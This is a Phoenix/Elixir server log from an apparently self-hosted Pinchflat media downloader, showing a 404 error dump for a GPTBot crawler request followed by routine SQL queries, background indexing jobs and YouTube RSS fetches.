%Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11070.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/7/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 58280}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/1/media/7", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.11071.0>, params: %{}, path_info: ["sources", "1", "media", "7", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "roku.hartupee.com"}, {"referer", "https://roku.hartupee.com/sources/1/media/7"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.227"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-openai-host-hash", "699320017"}, {"x-real-ip", "74.7.243.227"} ], request_path: "/sources/1/media/7/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVHws73NX5IE3sAAM8D"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11070.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/7/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 58280}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/1/media/7", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/7/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11070.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/7/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 58280}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/1/media/7", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.11071.0>, params: %{}, path_info: ["sources", "1", "media", "7", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, (truncated) 16:48:57.202 [info] {"source":"oban","duration":344,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:49:00.754 [info] {"source":"oban","duration":105,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:49:14.537 [info] GET /sources/1/media/12/edit 16:49:14.537 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "12", "source_id" => "1"} Pipelines: [:browser] 16:49:14.538 [debug] QUERY OK source="media_items" db=0.1ms idle=1555.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12] 16:49:14.538 [debug] QUERY OK source="settings" db=0.0ms idle=1555.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:14.538 [debug] QUERY OK source="settings" db=0.0ms idle=1555.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:14.538 [debug] QUERY OK source="settings" db=0.0ms idle=623.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:14.538 [info] Sent 200 in 1ms 16:49:27.203 [info] {"source":"oban","duration":557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:49:57.204 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:50:00.755 [info] {"source":"oban","duration":115,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:50:19.767 [info] GET /sources/3b9911a2-8d6c-45eb-88ec-c5a582b458ec/feed.xml 16:50:19.767 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "3b9911a2-8d6c-45eb-88ec-c5a582b458ec"} Pipelines: [:maybe_basic_auth] 16:50:19.767 [debug] QUERY OK source="sources" db=0.0ms queue=0.1ms idle=1784.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["3b9911a2-8d6c-45eb-88ec-c5a582b458ec"] 16:50:19.767 [debug] QUERY OK source="media_items" db=0.1ms idle=1784.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [2, 2000] 16:50:19.768 [debug] QUERY OK source="source_metadata" db=0.0ms idle=1785.3ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [2] 16:50:19.768 [debug] QUERY OK source="media_metadata" db=0.0ms idle=785.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12827] 16:50:19.768 [info] Sent 200 in 1ms 16:50:27.205 [info] {"source":"oban","duration":481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:50:57.206 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:51:00.030 [info] {"args":{"id":2},"id":712,"meta":{},"system_time":1784911860030491223,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:51:00.033 [debug] QUERY OK source="sources" db=2.9ms idle=1047.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 16:51:00.033 [debug] QUERY OK source="tasks" db=3.0ms idle=1047.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 16:51:00.035 [debug] QUERY OK source="sources" db=1.5ms idle=9.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 16:51:00.035 [debug] QUERY OK source="settings" db=1.8ms idle=1010.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:51:00.035 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:51:00.036 [debug] QUERY OK source="settings" db=0.0ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:51:00.036 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 16:51:00.623 [debug] Media ids fetched from RSS: ["9kAA8XDQJQc", "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s"] 16:51:00.624 [debug] QUERY OK source="media_items" db=0.2ms idle=589.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "9kAA8XDQJQc", "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s"] 16:51:00.624 [debug] QUERY OK source="media_items" db=0.2ms idle=588.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 16:51:00.625 [debug] QUERY OK source="tasks" db=0.0ms idle=589.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [715, 2, ~U[2026-07-24 16:51:00Z], ~U[2026-07-24 16:51:00Z]] 16:51:00.625 [info] {"args":{"id":2},"id":712,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":594712,"event":"job:stop","queue_time":22597,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:51:00.625 [debug] QUERY OK source="tasks" db=0.1ms idle=0.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 16:51:00.756 [info] {"source":"oban","duration":142,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:51:10.042 [info] {"args":{"id":1},"id":713,"meta":{},"system_time":1784911870042220979,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:51:10.042 [debug] QUERY OK source="sources" db=0.1ms idle=59.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:51:10.042 [debug] QUERY OK source="tasks" db=0.3ms idle=59.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 16:51:10.042 [debug] QUERY OK source="settings" db=0.1ms idle=59.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:51:10.042 [debug] QUERY OK source="sources" db=0.0ms idle=6.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:51:10.043 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:51:10.043 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:51:10.043 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 16:51:10.233 [debug] Media ids fetched from RSS: ["r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 16:51:10.233 [debug] QUERY OK source="media_items" db=0.2ms idle=190.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 16:51:10.236 [debug] QUERY OK source="media_items" db=2.2ms idle=191.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 16:51:10.236 [debug] QUERY OK source="tasks" db=0.0ms idle=193.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [716, 1, ~U[2026-07-24 16:51:10Z], ~U[2026-07-24 16:51:10Z]] 16:51:10.236 [info] {"args":{"id":1},"id":713,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":194630,"event":"job:stop","queue_time":412872,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:51:10.237 [debug] QUERY OK source="tasks" db=0.3ms idle=0.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 16:51:14.397 [info] GET /sources/22cede13-30dd-4c7a-a910-a98b0bbdb6c8/feed.xml 16:51:14.397 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "22cede13-30dd-4c7a-a910-a98b0bbdb6c8"} Pipelines: [:maybe_basic_auth] 16:51:14.397 [debug] QUERY OK source="sources" db=0.2ms idle=414.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["22cede13-30dd-4c7a-a910-a98b0bbdb6c8"] 16:51:14.401 [debug] 